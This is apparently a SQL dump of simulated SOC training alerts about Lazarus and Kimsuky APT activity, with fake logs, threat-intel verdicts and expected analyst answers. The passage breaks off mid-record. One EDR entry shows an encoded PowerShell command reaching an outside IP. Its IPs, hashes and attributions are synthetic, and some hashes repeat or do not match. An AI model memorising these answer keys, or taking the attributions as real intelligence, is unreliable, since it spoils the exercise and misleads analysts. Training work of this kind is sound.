'{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:14.854Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.20.30.40\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"filename\\\":\\\"financial_transactions_2023.csv\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"j.doe\\\",\\\"action\\\":\\\"exfiltration_attempt\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_sent\\\":1048576,\\\"detection_method\\\":\\\"DLP\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:14.854Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.20.30.40\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"filename\\\":\\\"financial_transactions_2023.csv\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"j.doe\\\",\\\"action\\\":\\\"exfiltration_attempt\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_sent\\\":1048576,\\\"detection_method\\\":\\\"DLP\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:14.854Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.20.30.40\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"filename\\\":\\\"financial_transactions_2023.csv\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"j.doe\\\",\\\"action\\\":\\\"exfiltration_attempt\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_sent\\\":1048576,\\\"detection_method\\\":\\\"DLP\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:14.854Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.20.30.40\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"filename\\\":\\\"financial_transactions_2023.csv\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"j.doe\\\",\\\"action\\\":\\\"exfiltration_attempt\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_sent\\\":1048576,\\\"detection_method\\\":\\\"DLP\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:14.854Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.20.30.40\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"filename\\\":\\\"financial_transactions_2023.csv\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"j.doe\\\",\\\"action\\\":\\\"exfiltration_attempt\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"bytes_sent\\\":1048576,\\\"detection_method\\\":\\\"DLP\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1476, 'Initial Access Through Spear Phishing', 'high', 'Email Gateway Logs', 'The Lazarus Group initiated an initial access attempt through spear-phishing emails targeting employees in the defense sector. The emails contained job recruitment lures designed to entice the recipient into opening a malicious attachment that deploys the Rising Sun implant.', 'Spear Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T14:23:11Z\",\"email_id\":\"c3f8a1b002d45@example.com\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.25\",\"sender_email\":\"recruitment@fakejobs.com\",\"recipient_email\":\"jane.doe@defenseco.com\",\"subject\":\"Exciting Job Opportunity in Defense\",\"attachment\":{\"filename\":\"JobOffer.docx\",\"hash\":\"3e5f7e1b7e2b6c8a9e8f7d6b5c3a4f2e\"},\"malicious_indicator\":true}', '2026-03-15 19:07:00', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known Lazarus Group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host potentially compromised.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"recruitment@fakejobs.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Open Source Intelligence\",\"verdict\":\"malicious\",\"details\":\"Email address used in previous phishing campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3e5f7e1b7e2b6c8a9e8f7d6b5c3a4f2e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Rising Sun implant.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access Through Spear Phishing\",\"date\":\"2026-03-15T20:58:14.860Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1477, 'Execution of Rising Sun Implant', 'high', 'Endpoint Detection and Response (EDR) Logs', 'The Rising Sun implant was executed on a compromised system, providing remote access to the attackers. This is a critical step in the advanced persistent threat operation, likely preparing for data exfiltration or further exploitation.', 'Malware Execution', 'T1059: Command and Scripting Interpreter', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:22:35Z\",\"event_id\":\"evt-20231012-1024\",\"source_ip\":\"45.83.123.123\",\"destination_ip\":\"192.168.1.101\",\"user\":\"compromised_user\",\"process_name\":\"rising_sun.exe\",\"process_hash\":\"3a5f2c7d8c1f4e6d9f8b2e3c4d5f6a7b\",\"file_path\":\"C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\rising_sun.exe\",\"command_line\":\"rising_sun.exe -silent\",\"parent_process\":\"explorer.exe\",\"parent_process_id\":4321,\"action\":\"Execution\",\"status\":\"Success\"}', '2026-03-15 19:07:00', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"45.83.123.123\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Lazarus Group\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Local IP address of compromised host\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"rising_sun.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Database\",\"verdict\":\"malicious\",\"details\":\"Executable related to Rising Sun implant\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3a5f2c7d8c1f4e6d9f8b2e3c4d5f6a7b\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Rising Sun malware\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1478, 'Establishing Persistence - Advanced Threat Actor Activity Detected', 'high', 'Windows Event Logs', 'Suspicious persistence mechanism detected potentially linked to Lazarus Group. The attacker has implemented a Windows service to maintain access through system reboots and user logouts.', 'Persistence Mechanism', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 1, 'new', NULL, '{\"event_id\":7045,\"timestamp\":\"2023-10-15T02:14:07Z\",\"computer_name\":\"compromised_host01\",\"user\":\"NT AUTHORITY\\\\SYSTEM\",\"service_name\":\"UpdateService\",\"service_file_name\":\"C:\\\\Windows\\\\System32\\\\drivers\\\\msupdate.exe\",\"service_type\":\"Own Process\",\"start_type\":\"Auto Start\",\"ip_address\":\"10.0.0.45\",\"external_ip\":\"203.0.113.45\",\"sha256\":\"d41d8cd98f00b204e9800998ecf8427e\",\"description\":\"A new service was installed in the system which is not known to be legitimate. The service file has a suspicious hash.\",\"tags\":[\"Lazarus Group\",\"Persistence\",\"APT\"]}', '2026-03-15 19:07:00', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Public Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with previous Lazarus Group activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malicious software used by Lazarus Group.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:14.864Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":7045,\\\"timestamp\\\":\\\"2023-10-15T02:14:07Z\\\",\\\"computer_name\\\":\\\"compromised_host01\\\",\\\"user\\\":\\\"NT AUTHORITY\\\\\\\\SYSTEM\\\",\\\"service_name\\\":\\\"UpdateService\\\",\\\"service_file_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\msupdate.exe\\\",\\\"service_type\\\":\\\"Own Process\\\",\\\"start_type\\\":\\\"Auto Start\\\",\\\"ip_address\\\":\\\"10.0.0.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"sha256\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"description\\\":\\\"A new service was installed in the system which is not known to be legitimate. The service file has a suspicious hash.\\\",\\\"tags\\\":[\\\"Lazarus Group\\\",\\\"Persistence\\\",\\\"APT\\\"]}\"},{\"timestamp\":\"2026-03-15T20:57:14.864Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":7045,\\\"timestamp\\\":\\\"2023-10-15T02:14:07Z\\\",\\\"computer_name\\\":\\\"compromised_host01\\\",\\\"user\\\":\\\"NT AUTHORITY\\\\\\\\SYSTEM\\\",\\\"service_name\\\":\\\"UpdateService\\\",\\\"service_file_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\msupdate.exe\\\",\\\"service_type\\\":\\\"Own Process\\\",\\\"start_type\\\":\\\"Auto Start\\\",\\\"ip_address\\\":\\\"10.0.0.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"sha256\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"description\\\":\\\"A new service was installed in the system which is not known to be legitimate. The service file has a suspicious hash.\\\",\\\"tags\\\":[\\\"Lazarus Group\\\",\\\"Persistence\\\",\\\"APT\\\"]}\"},{\"timestamp\":\"2026-03-15T20:56:14.864Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":7045,\\\"timestamp\\\":\\\"2023-10-15T02:14:07Z\\\",\\\"computer_name\\\":\\\"compromised_host01\\\",\\\"user\\\":\\\"NT AUTHORITY\\\\\\\\SYSTEM\\\",\\\"service_name\\\":\\\"UpdateService\\\",\\\"service_file_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\msupdate.exe\\\",\\\"service_type\\\":\\\"Own Process\\\",\\\"start_type\\\":\\\"Auto Start\\\",\\\"ip_address\\\":\\\"10.0.0.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"sha256\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"description\\\":\\\"A new service was installed in the system which is not known to be legitimate. The service file has a suspicious hash.\\\",\\\"tags\\\":[\\\"Lazarus Group\\\",\\\"Persistence\\\",\\\"APT\\\"]}\"},{\"timestamp\":\"2026-03-15T20:55:14.864Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":7045,\\\"timestamp\\\":\\\"2023-10-15T02:14:07Z\\\",\\\"computer_name\\\":\\\"compromised_host01\\\",\\\"user\\\":\\\"NT AUTHORITY\\\\\\\\SYSTEM\\\",\\\"service_name\\\":\\\"UpdateService\\\",\\\"service_file_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\msupdate.exe\\\",\\\"service_type\\\":\\\"Own Process\\\",\\\"start_type\\\":\\\"Auto Start\\\",\\\"ip_address\\\":\\\"10.0.0.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"sha256\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"description\\\":\\\"A new service was installed in the system which is not known to be legitimate. The service file has a suspicious hash.\\\",\\\"tags\\\":[\\\"Lazarus Group\\\",\\\"Persistence\\\",\\\"APT\\\"]}\"},{\"timestamp\":\"2026-03-15T20:54:14.864Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_id\\\":7045,\\\"timestamp\\\":\\\"2023-10-15T02:14:07Z\\\",\\\"computer_name\\\":\\\"compromised_host01\\\",\\\"user\\\":\\\"NT AUTHORITY\\\\\\\\SYSTEM\\\",\\\"service_name\\\":\\\"UpdateService\\\",\\\"service_file_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\drivers\\\\\\\\msupdate.exe\\\",\\\"service_type\\\":\\\"Own Process\\\",\\\"start_type\\\":\\\"Auto Start\\\",\\\"ip_address\\\":\\\"10.0.0.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"sha256\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"description\\\":\\\"A new service was installed in the system which is not known to be legitimate. The service file has a suspicious hash.\\\",\\\"tags\\\":[\\\"Lazarus Group\\\",\\\"Persistence\\\",\\\"APT\\\"]}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1479, 'Lateral Movement Across Network', 'high', 'Network Traffic Analysis', 'Utilizing harvested credentials, the attackers moved laterally within the network, targeting additional systems in the nuclear and energy sectors. This activity is consistent with advanced persistent threats known for targeting critical infrastructure.', 'Credential Dumping', 'T1003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.1.1.25\",\"username\":\"jdoe\",\"filename\":\"mimikatz.exe\",\"hash\":\"4bfa3a6d5ac6a7f8a3b0a9a7f5c3e2b1\",\"event_type\":\"lateral_movement\",\"network_protocol\":\"SMB\",\"action\":\"credential_dumping\",\"malware_tool\":\"Mimikatz\",\"notes\":\"The attacker used Mimikatz to extract credentials and moved laterally to 10.1.1.25, a critical system within the network.\"}', '2026-03-15 19:07:00', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Lazarus Group.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Critical system within the nuclear sector.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"mimikatz.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Mimikatz is a known tool for credential dumping.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"4bfa3a6d5ac6a7f8a3b0a9a7f5c3e2b1\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malicious activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1480, 'Exfiltration of Sensitive Data', 'critical', 'Data Loss Prevention (DLP) Tools', 'The Lazarus Group has initiated data exfiltration targeting critical defense strategies and nuclear research. This could lead to severe national security implications.', 'Data Exfiltration', 'T1041 - Exfiltration Over C2 Channel', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:45:23Z\",\"event\":\"data_exfiltration\",\"source_ip\":\"192.168.45.12\",\"destination_ip\":\"203.0.113.57\",\"filename\":\"nuclear_research_plans.pdf\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"jdoe\",\"protocol\":\"HTTPS\",\"action\":\"allowed\",\"dlp_policy_triggered\":\"Sensitive Data Exfiltration\",\"malware_tool_used\":\"custom_exfil_tool_v1.2\"}', '2026-03-15 19:07:00', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.57\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Lazarus Group.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.45.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Compromised host within the internal network.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"nuclear_research_plans.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"Local DLP\",\"verdict\":\"suspicious\",\"details\":\"File matches patterns of sensitive documents.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash identified in previous Lazarus Group campaigns.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"Legitimate user account. Possible credential compromise.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:14.869Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:45:23Z\\\",\\\"event\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.45.12\\\",\\\"destination_ip\\\":\\\"203.0.113.57\\\",\\\"filename\\\":\\\"nuclear_research_plans.pdf\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"dlp_policy_triggered\\\":\\\"Sensitive Data Exfiltration\\\",\\\"malware_tool_used\\\":\\\"custom_exfil_tool_v1.2\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:14.869Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:45:23Z\\\",\\\"event\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.45.12\\\",\\\"destination_ip\\\":\\\"203.0.113.57\\\",\\\"filename\\\":\\\"nuclear_research_plans.pdf\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"dlp_policy_triggered\\\":\\\"Sensitive Data Exfiltration\\\",\\\"malware_tool_used\\\":\\\"custom_exfil_tool_v1.2\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:14.869Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:45:23Z\\\",\\\"event\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.45.12\\\",\\\"destination_ip\\\":\\\"203.0.113.57\\\",\\\"filename\\\":\\\"nuclear_research_plans.pdf\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"dlp_policy_triggered\\\":\\\"Sensitive Data Exfiltration\\\",\\\"malware_tool_used\\\":\\\"custom_exfil_tool_v1.2\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:14.869Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:45:23Z\\\",\\\"event\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.45.12\\\",\\\"destination_ip\\\":\\\"203.0.113.57\\\",\\\"filename\\\":\\\"nuclear_research_plans.pdf\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"dlp_policy_triggered\\\":\\\"Sensitive Data Exfiltration\\\",\\\"malware_tool_used\\\":\\\"custom_exfil_tool_v1.2\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:14.869Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:45:23Z\\\",\\\"event\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.45.12\\\",\\\"destination_ip\\\":\\\"203.0.113.57\\\",\\\"filename\\\":\\\"nuclear_research_plans.pdf\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"dlp_policy_triggered\\\":\\\"Sensitive Data Exfiltration\\\",\\\"malware_tool_used\\\":\\\"custom_exfil_tool_v1.2\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1481, 'Spear Phishing Attempt with Malicious HWP Attachment', 'high', 'Email Gateway Logs', 'A spear-phishing email containing a malicious HWP attachment was sent to an individual associated with a South Korean think tank. The email originated from a known malicious IP address linked to Kimsuky APT group.', 'Initial Access', 'T1566.001 - Spear Phishing Attachment', 1, 'new', NULL, '{\"timestamp\":\"2023-10-20T08:45:00Z\",\"email_subject\":\"Important Update on Seminar\",\"sender_email\":\"attacker@malicious-domain.com\",\"recipient_email\":\"victim@thinktank.kr\",\"attachment\":\"seminar_update.hwp\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.25\"}', '2026-03-15 19:07:24', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"attacker@malicious-domain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Tool X\",\"verdict\":\"malicious\",\"details\":\"Associated with Kimsuky APT campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected as malicious HWP file\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence 